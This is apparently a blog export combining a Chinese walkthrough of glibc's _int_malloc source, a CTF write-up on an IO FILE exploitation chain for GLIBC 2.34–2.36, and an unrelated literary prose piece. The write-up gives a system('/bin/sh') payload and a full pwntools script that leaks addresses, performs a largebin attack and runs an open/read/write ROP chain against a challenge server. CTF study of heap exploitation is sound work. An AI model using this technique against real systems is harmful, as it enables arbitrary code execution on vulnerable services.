unsorted chunks processed */#endif /* Convert request size to internal form by adding SIZE_SZ bytes overhead plus possibly more to obtain necessary alignment and/or to obtain a size of at least MINSIZE, the smallest allocatable size. Also, checked_request2size traps (returning 0) request sizes that are so large that they wrap around zero when padded and aligned. */ checked_request2size (bytes, nb); /* There are no usable arenas. Fall back to sysmalloc to get a chunk from mmap. */ if (__glibc_unlikely (av == NULL)) { void *p = sysmalloc (nb, av); if (p != NULL)alloc_perturb (p, bytes); return p; } /* If the size qualifies as a fastbin, first check corresponding bin. This code is safe to execute even if av is not yet initialized, so we can try it without checking, which saves some time on this fast path. */#define REMOVE_FB(fb, victim, pp)\\ do\\ {\\ victim = pp;\\ if (victim == NULL)\\break;\\ }\\ while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim)) \\ != victim);\\ if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) { idx = fastbin_index (nb); mfastbinptr *fb = &fastbin (av, idx); mchunkptr pp; victim = *fb; if (victim != NULL){ if (SINGLE_THREAD_P) *fb = victim->fd; else REMOVE_FB (fb, pp, victim); if (__glibc_likely (victim != NULL)) { size_t victim_idx = fastbin_index (chunksize (victim)); if (__builtin_expect (victim_idx != idx, 0))malloc_printerr ("malloc(): memory corruption (fast)"); check_remalloced_chunk (av, victim, nb);#if USE_TCACHE /* While we're here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins){ mchunkptr tc_victim; /* While bin not empty and tcache not full, copy chunks. */ while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = *fb) != NULL) { if (SINGLE_THREAD_P)*fb = tc_victim->fd; else{ REMOVE_FB (fb, pp, tc_victim); if (__glibc_unlikely (tc_victim == NULL)) break;} tcache_put (tc_victim, tc_idx); }}#endif void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; }} } /* If a small request, check regular bin. Since these "smallbins" hold one size each, no searching within bins is necessary. (For a large request, we need to wait until unsorted chunks are processed to find best fit. But for small ones, fits are exact anyway, so we can check now, which is faster.) */ if (in_smallbin_range (nb)) { idx = smallbin_index (nb); bin = bin_at (av, idx); if ((victim = last (bin)) != bin) { bck = victim->bk; if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): smallbin double linked list corrupted"); set_inuse_bit_at_offset (victim, nb); bin->bk = bck; bck->fd = bin; if (av != &main_arena) set_non_main_arena (victim); check_malloced_chunk (av, victim, nb);#if USE_TCACHE /* While we're here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim; /* While bin not empty and tcache not full, copy chunks over. */ while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin){ if (tc_victim != 0) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena)set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin; tcache_put (tc_victim, tc_idx); }} }#endif void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } /* If this is a large request, consolidate fastbins before continuing. While it might look excessive to kill all fastbins before even seeing if there is space available, this avoids fragmentation problems normally associated with fastbins. Also, in practice, programs tend to have runs of either small or large requests, but less often mixtures, so consolidation is not invoked all that often in most programs. And the programs that it is called frequently in otherwise tend to fragment. */ else { idx = largebin_index (nb); if (atomic_load_relaxed (&av->have_fastchunks)) malloc_consolidate (av); } /* Process recently freed or remaindered chunks, taking one only if it is exact fit, or, if this a small request, the chunk is remainder from the most recent non-exact fit. Place other traversed chunks in bins. Note that this step is the only place in any routine where chunks are placed in bins. The outer loop here is needed because we might not realize until near the end of malloc that we should have consolidated, so must do so and retry. This happens at most once, and only when we would otherwise need to expand memory to service a "small" request. */#if USE_TCACHE INTERNAL_SIZE_T tcache_nb = 0; size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) tcache_nb = nb; int return_cached = 0; tcache_unsorted_count = 0;#endif for (;; ) { int iters = 0; while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) { bck = victim->bk; size = chunksize (victim); mchunkptr next = chunk_at_offset (victim, size); if (__glibc_unlikely (size <= 2 * SIZE_SZ) __glibc_unlikely (size > av->system_mem)) malloc_printerr ("malloc(): invalid size (unsorted)"); if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ) __glibc_unlikely (chunksize_nomask (next) > av->system_mem)) malloc_printerr ("malloc(): invalid next size (unsorted)"); if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size)) malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)"); if (__glibc_unlikely (bck->fd != victim) __glibc_unlikely (victim->fd != unsorted_chunks (av))) malloc_printerr ("malloc(): unsorted double linked list corrupted"); if (__glibc_unlikely (prev_inuse (next))) malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)"); /* If a small request, try to use last remainder if it is the only chunk in unsorted bin. This helps promote locality for runs of consecutive small requests. This is the only exception to best-fit, and applies only when there is no exact fit for a small chunk. */ if (in_smallbin_range (nb) && bck == unsorted_chunks (av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) { /* split and reattach remainder */ remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; av->last_remainder = remainder; remainder->bk = remainder->fd = unsorted_chunks (av); if (!in_smallbin_range (remainder_size)) { remainder->fd_nextsize = NULL; remainder->bk_nextsize = NULL; } set_head (victim, nb PREV_INUSE (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size PREV_INUSE); set_foot (remainder, remainder_size); check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } /* remove from unsorted list */ if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): corrupted unsorted chunks 3"); unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av); /* Take now instead of binning if exact fit */ if (size == nb) { set_inuse_bit_at_offset (victim, size); if (av != &main_arena)set_non_main_arena (victim);#if USE_TCACHE /* Fill cache first, return to user only if cache fills. We may return one of these chunks later. */ if (tcache_nb && tcache->counts[tc_idx] < mp_.tcache_count){ tcache_put (victim, tc_idx); return_cached = 1; continue;} else{#endif check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p;#if USE_TCACHE}#endif } /* place chunk in bin */ if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; } else { victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; /* maintain large bins in sorted order */ if (fwd != bck) { /* Or with inuse bit to speed comparisons */ size = PREV_INUSE; /* if smaller than smallest, bypass loop below */ assert (chunk_main_arena (bck->bk)); if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert (chunk_main_arena (fwd)); while ((unsigned long) size < chunksize_nomask (fwd)) { fwd = fwd->fd_nextsize; assert (chunk_main_arena (fwd)); } if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd)) /* Always insert in the second position. */ fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;#if USE_TCACHE /* If we've processed as many chunks as we're allowed while filling the cache, return one of the cached ones. */ ++tcache_unsorted_count; if (return_cached && mp_.tcache_unsorted_limit > 0 && tcache_unsorted_count > mp_.tcache_unsorted_limit){ return tcache_get (tc_idx);}#endif#define MAX_ITERS 10000 if (++iters >= MAX_ITERS) break; }#if USE_TCACHE /* If all the small chunks we found ended up cached, return one now. */ if (return_cached){ return tcache_get (tc_idx);}#endif /* If a large request, scan through the chunks of current bin in sorted order to find smallest that fits. Use the skip list for this. */ if (!in_smallbin_range (nb)) { bin = bin_at (av, idx); /* skip scan if empty or largest chunk is too small */ if ((victim = first (bin)) != bin && (unsigned long) chunksize_nomask (victim) >= (unsigned long) (nb)) { victim = victim->bk_nextsize; while (((unsigned long) (size = chunksize (victim)) < (unsigned long) (nb))) victim = victim->bk_nextsize; /* Avoid removing the first entry for a size so that the skip list does not have to be rerouted. */ if (victim != last (bin) && chunksize_nomask (victim) == chunksize_nomask (victim->fd)) victim = victim->fd; remainder_size = size - nb; unlink_chunk (av, victim); /* Exhaust */ if (remainder_size < MINSIZE) { set_inuse_bit_at_offset (victim, size); if (av != &main_arena) set_non_main_arena (victim); } /* Split */ else { remainder = chunk_at_offset (victim, nb); /* We cannot assume the unsorted list is empty and therefore have to perform a complete insert here. */ bck = unsorted_chunks (av); fwd = bck->fd; if (__glibc_unlikely (fwd->bk != bck)) malloc_printerr ("malloc(): corrupted unsorted chunks"); remainder->bk = bck; remainder->fd = fwd; bck->fd = remainder; fwd->bk = remainder; if (!in_smallbin_range (remainder_size)) { remainder->fd_nextsize = NULL; remainder->bk_nextsize = NULL; } set_head (victim, nb PREV_INUSE (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size PREV_INUSE); set_foot (remainder, remainder_size); } check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } /* Search for a chunk by scanning bins, starting with next largest bin. This search is strictly by best-fit; i.e., the smallest (with ties going to approximately the least recently used) chunk that fits is selected. The bitmap avoids needing to check that most blocks are nonempty. The particular case of skipping all bins during warm-up phases when no chunks have been returned yet is faster than it might look. */ ++idx; bin = bin_at (av, idx); block = idx2block (idx); map = av->binmap[block]; bit = idx2bit (idx); for (;; ) { /* Skip rest of block if there are no more set bits in this block. */ if (bit > map bit == 0) { do { if (++block >= BINMAPSIZE) /* out of bins */ goto use_top; } while ((map = av->binmap[block]) == 0); bin = bin_at (av, (block << BINMAPSHIFT)); bit = 1; } /* Advance to bin with set bit. There must be one. */ while ((bit & map) == 0) { bin = next_bin (bin); bit <<= 1; assert (bit != 0); } /* Inspect the bin. It is likely to be non-empty */ victim = last (bin); /* If a false alarm (empty bin), clear the bit. */ if (victim == bin) { av->binmap[block] = map &= ~bit; /* Write through */ bin = next_bin (bin); bit <<= 1; } else { size = chunksize (victim); /* We know the first chunk in this bin is big enough to use. */ assert ((unsigned long) (size) >= (unsigned long) (nb)); remainder_size = size - nb; /* unlink */ unlink_chunk (av, victim); /* Exhaust */ if (remainder_size < MINSIZE) { set_inuse_bit_at_offset (victim, size); if (av != &main_arena) set_non_main_arena (victim); } /* Split */ else { remainder = chunk_at_offset (victim, nb); /* We cannot assume the unsorted list is empty and therefore have to perform a complete insert here. */ bck = unsorted_chunks (av); fwd = bck->fd; if (__glibc_unlikely (fwd->bk != bck)) malloc_printerr ("malloc(): corrupted unsorted chunks 2"); remainder->bk = bck; remainder->fd = fwd; bck->fd = remainder; fwd->bk = remainder; /* advertise as last remainder */ if (in_smallbin_range (nb)) av->last_remainder = remainder; if (!in_smallbin_range (remainder_size)) { remainder->fd_nextsize = NULL; remainder->bk_nextsize = NULL; } set_head (victim, nb PREV_INUSE (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size PREV_INUSE); set_foot (remainder, remainder_size); } check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } use_top: /* If large enough, split off the chunk bordering the end of memory (held in av->top). Note that this is in accord with the best-fit search rule. In effect, av->top is treated as larger (and thus less well fitting) than any other available chunk since it can be extended to be as large as necessary (up to system limitations). We require that av->top always exists (i.e., has size >= MINSIZE) after initialization, so if it would otherwise be exhausted by current request, it is replenished. (The main reason for ensuring it exists is that we may need MINSIZE space to put in fenceposts in sysmalloc.) */ victim = av->top; size = chunksize (victim); if (__glibc_unlikely (size > av->system_mem)) malloc_printerr ("malloc(): corrupted top size"); if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) { remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); av->top = remainder; set_head (victim, nb PREV_INUSE (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size PREV_INUSE); check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } /* When we are using atomic ops to free fast chunks we can get here for all block sizes. */ else if (atomic_load_relaxed (&av->have_fastchunks)) { malloc_consolidate (av); /* restore original bin index */ if (in_smallbin_range (nb)) idx = smallbin_index (nb); else idx = largebin_index (nb); } /* Otherwise, relay to handle system-dependent cases */ else { void *p = sysmalloc (nb, av); if (p != NULL) alloc_perturb (p, bytes); return p; } }}\n\n\n         代码量较大,由于接下来大多为文字介绍,如果不对照代码可能有些晦涩,建议读者自行下载源代码或是拷贝上述代码以方便对照\n__libc_malloc:        malloc函数在被调用时,会使用__libc_malloc函数进行一定的初始化功能,然后再调用_int_malloc函数进行内存块分配\n        而管理器会调用malloc_hook_ini函数对堆进行初始化,然后回调__libc_malloc,但这并不是我们关注的重点,因此这里不会过多介绍\n分支:如果使用Tcache\n        根据请求bytes大小的空间,调用checked_request2size宏定义将其转换为内存块的大小tbytes,再通过csize2tidx获取对应的Bins结构索引\n        如果Tcache还未初始化,则用MAYBE_INIT_TCACHE初始化;否则不执行\n        检查tcache索引tc_idx是否合法,以及该索引中是否有空闲块。若有,则直接取出并返回给用户\n\n        否则,判断请求是否由主线程发起。若是,调用_int_malloc申请内存块,并返回给用户\n        否则,获取当前线程arena存入ar_ptr,调用_int_malloc申请内存块\n        如果当前arena正被其他线程使用,则_int_malloc将会返回NULL,调用失败,直到有空闲的arena出现时,重新调用_int_malloc并返回给用户\n_int_malloc:        先用checked_request2size将请求的bytes转换为chunk块的大小nb\n分支 1:\n        如果arena空间不足(没有可用的arena),调用sysmalloc通过mmap或者brk来分配新堆块,如果成功,就直接返回给用户\n\n         否则,通常此时\npp==NULL\n\n\n        成立,因此不执行REMOVE_FB,其作用是将pp从Bin中取出\n分支 2:Fast Bin范围内\n        如果块的大小能由Fast Bins提供服务(即在sizeof(size_t)的返回值范围内),根据nb获取对应Bin的链表索引idx\n        使用fastbin()宏定义来获取该链表的表头,指针为fd\n        将第一个节点作为victim,如果是单线程情况,则向表头里放入victim的下一个\n        如果victim取到了空闲块,获取所在链表索引victim_idx,并做一系列检查\n 且函数不返回,继续往下判断分支2.1\n注:FastBin的安全性检测中,存在对ChunkSize的检测,即要求该bin中的chunk符合该bin的规范。但这个检测并非强对比,例如:Size=7f的chunk会被放在0x70的bin中而不报错\n\n分支 2.1:使用Tcache\n        根据nb获取对应链表索引tc_idx,如果获取的内容合法(即索引可行的范围),将FastBin表头中的节点fd作为tc_victim\n        循环的将tc_victim放入Tcache Bin中\n        最后将victim(也就是最早的Fast Bin的第一个节点)返回给用户\n 函数结束\n\n分支2.2:否则\n        直接将victim返回给用户\n 函数结束\n\n分支3:Small Bin范围内        在Fast Bin没能找到合适块的情况下(比如对应链表为空等等),将进入该分支\n        通过smallbin_index获取链表索引idx,bin_at获取链表表头bin\n分支3.1:链表非空        此时victim将成为当前链表最后一个,如下为其宏定义操作\n#define last(b) ((b)->bk)\n\n\n        令bck为链表倒数第二个,判断bck->fd是否为victim(出于安全性的检查)\n        若成功,令链表最后一个为bck,而bck->fd为表头bin\n    且函数不返回,继续往下判断分支3.2\n分支3.2:使用Tcache        获取索引tc_idx,检查其合法性,若对应链表中存在空闲块,进入循环\n        令tc_victim为Small Bin中此时的最后一个(即分支3.1中所指的bck)\nbin->bk = bck;bck->fd = bin;\n\n\n        通过该Unlink操作,并执行tcache_put将 tc_victim放入Tcache Bin中,直到Tcache Bin链表满员,或者该Small Bin为空\n 且函数不返回,继续往下进入分支3.3\n分支3.3:否则\n        将从Small Bin中获取到的victim返回给用户\n 函数结束\n\n分支4:Large Bin范围内\n        获取对应链表索引idx\n        判断Fast Bin中是否有空闲块,若有,调用malloc_consolidate将其合并且投放到Unsorted Bin\n 函数继续往下,判断分支5\n\n分支5:使用Tcache\n        如果分支3没能令函数返回,则必然会判断是否进入该分支,如果进入,则进行如下流程\n        根据nb获取对应Tcache Bin中的链表索引tc_idx,如果其在可行范围内,令tcache_nb为nb\n 函数进行往下\n\n分支6:否则分支6.1:Unsorted Bin中存在空闲块        令victim成为Unsorted Bin中最后一个空闲块,bck为倒数第二个\n        获取victim的大小size\n        通过chunk_at_offset获得在物理地址上相邻的下一个chunk的地址\n#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))\n\n\n        通过一系列安全性检查\n分支6.1.1:nb在Small Bin范围&bck为Unsorted Bin最后一个&victim的size足够被分配(有剩余的情况)\n        分割victim,将remainder作为victim分割后剩下的部分\n        令Unsorted Bin的头尾指向remainder,remainder的头尾也指向表头\n        如果remainder的剩余大小不在Small Bin的范围内,将fd_nextsize与bk_nextsize置NULL\n        set_head设置Top chunk大小\n        并将切割后的victim(非remainder部分)返回给用\n\n        将bck(倒数第二个)作为新的链表尾\n分支6.1.2:尺寸刚好(无剩余) 分支6.1.2.1:使用Tcache\n\n        如果victim是能够放入Tcache Bin中的chunk,那么就将它放入Tcache Bin中,并回到分支6\n\n        分支6.1.2.2:否则\n\n        如果已经没有可放入的内容了,将victim返回给用户\n        函数结束\n\n分支6.1.3:否则\n        判断victim符合Small Bin还是Large Bin\n        并将victim投放到相应的表头中\n\n分支6.1.4:如果有往Tcache Bin中投放过chunk或是所有Small Bin都被投放完成\n        通过索引返回一个之前投放的块\n\n分支7:如果nb属于Large Bin\n        通过循环与bk_nextsize找到稍比nb大一些的chunk\n        如果该chunk与chunk->fd的大小相同,那就让victim成为第二个chunk\n        使用unlink_chunk来将victim从链表中摘下\n        分割该chunk,将剩余部分放入Unsorted Bin中,并将其他返回给用户\n        函数结束\n\n分支8:其他\n        从下一个索引开始进入循环并不断搜索,直到找到一个合适的chunk块 或者 索引超出了最大值(如果当前索引链表为空,就会直接跳过,继续往下)\n        如果找到了这样一个块,分割它,并将甚于部分放入Unsorted Bin中,其他的返回给用户\n\n分支9:否则分支9.1:如果Top Chunk足够        分割Top chunk,将chunk返回给用户,修改Top chunk的地址和剩余大小\n分支9.2:否则        使用malloc_consolidate合并Fast Bins,并投放到Unsorted Bin中\n        使用sysmalloc通过brk或者mmap来开辟新的Heap\n参考文章:https://www.zzl14.xyz/2020/04/13/malloc%E6%B5%81%E7%A8%8B/#int-malloc\n这位师傅用2.27的源代码也进行了详尽的说明,也比较推荐参考其博客 ​\n插画ID:91612724\n","categories":["Note","Ptmalloc2内存管理"],"tags":["glibc"]},{"title":"GLIBC2.34以后的IO FILE利用链","url":"/2023/02/20/glibc2-34-iofile-exploit/","content":"本文纪录一个较为好用的,适用于GLIBC2.34-2.36的 IO FILE 利用链表,因为我个人比较爱用,且具备一定的泛用性,而且个人认为要比其他的好理解,因此记录一下。\n触发利用的部分参考:https://tttang.com/archive/1845/,本文直接套用了 payload。\n首先最好能够覆盖 IO_all_list 的值为 payload:\npayload = flat( { 0x8:1, 0x10:0, 0x38:address_for_rdi, 0x28:address_for_call, 0x18:1, 0x20:0, 0x40:1, 0xe0:heap_base + 0x250, 0xd8:libc_base + get_IO_str_jumps() - 0x300 + 0x20, 0x288:libc_base+libc.sym["system"], 0x288+0x10:libc_base+next(libc.search(b"/bin/sh\\x00")), 0x288+0x18:1 }, filler = '\\x00')p.send(payload)\n\n计算覆盖不到 IO_all_list,覆盖 stderr、stdout也都可以,只要能覆盖一次就算成功。\n上述的payload可以用于触发任意命令执行,但是有的时候会遇到 seccomp 的问题,此时结合本方法需要达成 ROP,但仍然很便捷,触发 IO 到执行 ROP 中间没有太多其他东西,基本上一气呵成。\n借用的 gadget 如下:\npwndbg> disassemble svcudp_reply 0x00007f2195256f0a <+26>:mov rbp,QWORD PTR [rdi+0x48] 0x00007f2195256f0e <+30>:mov rax,QWORD PTR [rbp+0x18] 0x00007f2195256f12 <+34>:lea r13,[rbp+0x10] 0x00007f2195256f16 <+38>:mov DWORD PTR [rbp+0x10],0x0 0x00007f2195256f1d <+45>:mov rdi,r13 0x00007f2195256f20 <+48>:call QWORD PTR [rax+0x28]\n\n由于这个方法触发的 IO 能够控制 rdi ,因此通过这个 gadget 可以控制 rbp 和 rax,在 rdi 中准确布置好结构后,令最后的 call 调用 leave;ret 的 gadget 即可完成栈迁移,一步到位,相当好用。\n我在 HGAME2023 WEEK4 的 without_hook 中使用了这个方法:\nfrom pwn import *context.log_level="debug"context(arch = "amd64")#p=process("./vuln")p=remote("week-4.hgame.lwsec.cn",30858)elf=ELF("./vuln")libc=elf.libcdef add(index,size):p.recvuntil(">")p.sendline("1")p.recvuntil("Index: ")p.sendline(str(index))p.recvuntil("Size: ")p.sendline(str(size))def delete(index):p.recvuntil(">")p.sendline("2")p.recvuntil("Index: ")p.sendline(str(index))def edit(index,context):p.recvuntil(">")p.sendline("3")p.recvuntil("Index: ")p.sendline(str(index))p.recvuntil("Content: ")p.send(context)def show(index):p.recvuntil(">")p.sendline("4")p.recvuntil("Index: ")p.sendline(str(index))add(0,0x518)#0add(1,0x798)#1add(2,0x508)#2add(3,0x798)#3delete(0)show(0)libc_base=u64(p.recvuntil(b"\\x7f").ljust(8,b'\\x00'))-(0x7f6689476cc0-0x7f6689280000)print("leak_addr: "+hex(libc_base))add(4,0x528)edit(0,"a"*16)show(0)p.recv(16)heap=u64(p.recv(6).ljust(8,b'\\x00'))heap_base=heap-(0x55e99882e290-0x55e99882e000)print("heap_addr: "+hex(heap_base))recover=libc_base+(0x7f7d45c370f0-0x7f7d45a40000)edit(0,p64(recover)*2)delete(2)target_addr = libc_base+libc.sym["_IO_list_all"]-0x20print(hex(target_addr))target_heap=libc_base+(0x563df74c9140-0x563df74c7000)-(0x56193a0a4d40-0x56193a0a2140)level_ret=0x000000000005591c+libc_baseedit(0,p64(libc_base+0x7f4c865a90f0-0x7f4c863b2000) * 2 + p64(heap_base+0x000055a6af7b3290-0x55a6af7b3000) + p64(target_addr))#largebin attackadd(5,0x528)#5gadget3=libc_base+(0x00007f2195256f0a-0x7f21950f4000)level_ret=0x000000000050757+libc_basepop_rdi_gad=0x0000000000023eb5+libc_basepop_rdi=0x0000000000023ba5+libc_basepop_rsi=0x00000000000251fe+libc_basepop_rdx_rbx=0x000000000008bbb9+libc_basepop_rax=0x000000000003f923+libc_basesyscall_addr=0x00000000000227b2+libc_basedef get_IO_str_jumps(): IO_file_jumps_addr = libc.sym['_IO_file_jumps'] IO_str_underflow_addr = libc.sym['_IO_str_underflow'] for ref in libc.search(p64(IO_str_underflow_addr-libc.address)): possible_IO_str_jumps_addr = ref - 0x20 if possible_IO_str_jumps_addr > IO_file_jumps_addr: return possible_IO_str_jumps_addraddress_for_rdi=libc_baseaddress_for_call=libc_basepayload = flat( { 0x8:1, 0x10:0, 0x38:heap_base+0xf50+0xe8, 0x28:gadget3, 0x18:1, 0x20:0, 0x40:1, 0xd0:heap_base + 0xf50, 0xc8:libc_base + get_IO_str_jumps() - 0x300 + 0x20, }, filler = '\\x00')payload+=p64(level_ret)+p64(0)+p64(heap_base+0xf50+0xe8-0x28)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0)+(b"flag\\x00\\x00\\x00\\x00")+p64(heap_base+0xf50+0xe8+72)payload+=p64(pop_rdi_gad)+p64(0)+p64(heap_base+0xf50+0xe8-0x28)payload+=p64(pop_rdi)+p64(heap_base+0xf50+0xe8+64)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(libc_base+libc.sym['open'])payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap_base+0xf50+0xe8)+p64(pop_rdx_rbx)+p64(0x100)+p64(0x100)+p64(libc_base+libc.sym['read'])payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap_base+0xf50+0xe8)+p64(pop_rdx_rbx)+p64(0x100)+p64(0x100)+p64(libc_base+libc.sym['write'])print("targe_heap: "+hex(heap_base+0x5619dd9ecf60-0x5619dd9ec000))edit(2,payload)#2p.recvuntil(">")p.sendline("5")p.interactive()\n\n除了用于触发 IO 的一个模板,下面的内容其实主要是在构造 ROP,如您所见,这能方便我很多工作。因为很多时候用于触发 IO 是通过 largebin attack 完成的,在这种情况下,这个方法能够适用。\n","categories":["CTF题记","Note"],"tags":["glibc"]},{"title":"灰与鹿糜","url":"/2021/02/07/greymoose/","content":" 路边破碎的玻璃瓶里积满了昨天下过的雨,折射出上个世纪以来不曾改变的炫目的光。在梦境边际急转回旋的羽翼开始焦黑,可即便坠入深海,却在刻薄的海水包围下被焚烧殆尽。一切都不过如盛夏的烟花般绚烂而短暂,晦涩的字句会被吞进幽深大海,如灰烬一般悄然盛开。\n 上个世纪的惨剧酿成了现在这副绝景——满城的寂静与颓然。就连空气都如猛毒般剧烈,呼吸也沦为苦难。即使灾难与厄难都已经远去,这里仍被所有人抗拒。异变的巨鼠分明早已灭绝,疯长的藤蔓也已被拔除,可即便满城堆积的繁茂且多余的饰品已被清除干净,卸下了那副臃肿丑陋的样貌,异物还是异物。\n 土墙上透风的孔正如这个萎焉的国家,再无余力重建灯火与宫阙。这里早已是我们的乐园,是不受拘束的乐土,更是没有催债人嘶吼与殴打的伊甸。全国各地的流浪者都涌向这里,让卑劣与低贱在这里流行起来。\n 靠吞服安眠药睡去的日子也慢慢远去了,它们渐渐不再起效。我每日每夜都在期待再也不会醒来的日子到来,但这十年来一次也没有发生。背包里装着一叠又一叠的相片,是这数十年来徒步旅行中的各类见闻,可直到它们全都泛黄了,我也没能拍下任何一张能令自己满意的风景。我几欲烧掉这些不能为我换来哪怕半块面包的东西,但又觉得毫无意义,终究还是最为窝囊的维持着现状。\n 我又拥有什么呢?我又能拥有什么呢?我所接触的任何事物都不可阻挡地腐朽着,就连我自己的本性、人格,甚至那早已残破不堪的淡薄的灰白色灵魂,都在以我无法遏止的速度走向崩坏。分明我们所有人都在坠落的旅途中,可只有我在被锐利的狂风割裂着。\n 而对自己的诘问根本不受控制,一遍又一遍地在脑海里重复着相同的话语。我见过人群的愤怒呐喊、见过鲸鱼的兀自沉沦,也目睹过伏尸百万的战场和饿死深巷的乞丐;见过蝶海中起舞的少女,也看到过地震中钢筋崩断的瞬间,亦拍摄过一跃而下的绝望;就连蒸发着的皮肉、极速干瘪着的眼球和那粉碎的白骨被吸入鼻腔的景象,我都曾为其制作过影集。可我还是不能够理解这世上任何一个哪怕最为浅显的道理,只是机械般进行着这索然无味的活动,颠沛流离于世界的每一处角落,却完全不明白自己究竟在做什么。我像是杜绝了提心吊胆的心情,却也丧失了活着的实感。于是我便不再感叹世事艰难,也不再关心人情冷暖,只是无所事事地活着,等待着与亘古久远的同族一如既往地死去。\n 而这种诘问一直持续了五年。当我渐渐习惯了它们的时候,已然变得麻木而不伦不类。我试着躺在潮湿的沥青公路上狂笑,却又不知该如何是好;也试过在狂风呼啸的楼顶放声而哭,但又不记得该如何催促。变成了这样一个笨拙、僵硬的自己之后,不用再挣扎了,于是拿着相机在城市里四处游荡,渐渐成了这个社会的幽灵,存在而多余。\n 仿佛时间飞逝,已过去上百年岁月,我显得苍老而干瘪,拄着本不该拄着的拐杖,漫步在萧索的街道上。满头的白发全然不像是二十九岁的人,歪歪扭扭的姿态显得有些恶心。\n “无论如何,人的生存总是一个堕落的过程。”\n 尽管我甚至想不起自己的名字,却唯独忘不掉过去格蕾对我说的那些荒谬而最终却又一一应验的预言。\n 那时的我还不像现在这样落魄,有着对这个世界近乎病态的痴狂。终日沉浸在知识的美酒中甚至忘却了生命与灵魂,将“解析这个世界”视为使命,也因此发表过数篇论文,它们都为我赚取了或多或少的名声与利益。当我毕业之后留在了学院的研究所里工作,这里安置了另一个我曾梦寐以求的所有设备。而那个自己是何等的狂妄自大,竟试图在各式各样的领域全都深挖一遍。恐怕在任何人眼里,当时的我都是疯狂且傲慢的家伙吧。\n 但起初我并非如此,这一切都不过只是虚伪的热诚罢了。我必须有着对任何知识都能过求知若渴的疯狂性格,才能过掩饰根植在脊梁里的顽劣的怠惰之疾,才能过平安地完成为生存而必要的学业。否则,我此刻或许也是坐在因昨夜暴雨而泥泞的路边的一员。但当我结束了那些,以为自己已然能过克服骨子里的懒惰,它们于我而言已不再构成任何威胁时,我发现自己竟好似废人般踌躇着,瘦弱且好吃懒做、愚笨而盲目与傲慢。我竟在继续着碌碌无为的呼吸与失去理智的阅读。从早晨醒来开始假装阅读,不在乎地快速晃过一页又一页,然后只是记住了几个别致的用词,沾沾自喜着开始乏味的午餐与慵懒的午觉,还自觉满足地以为有所收获;醒来之后再骑行数十公里到往偏僻荒凉的村落,然后在黄昏将至的残阳下拍摄离群孤雁的落魄、古老荒村的衰败,拍摄角度歪斜、构图混乱的一切无意义场景——荒井、积水、杂草密布的废田、窸窸窣窣的人影与松散的炊烟。我以为自己做得很好,可我可曾为学习艺术下过哪怕片刻心思呢?我以为我是在为美景而陶醉,也以为我并未辜负这份光景,我以为……\n 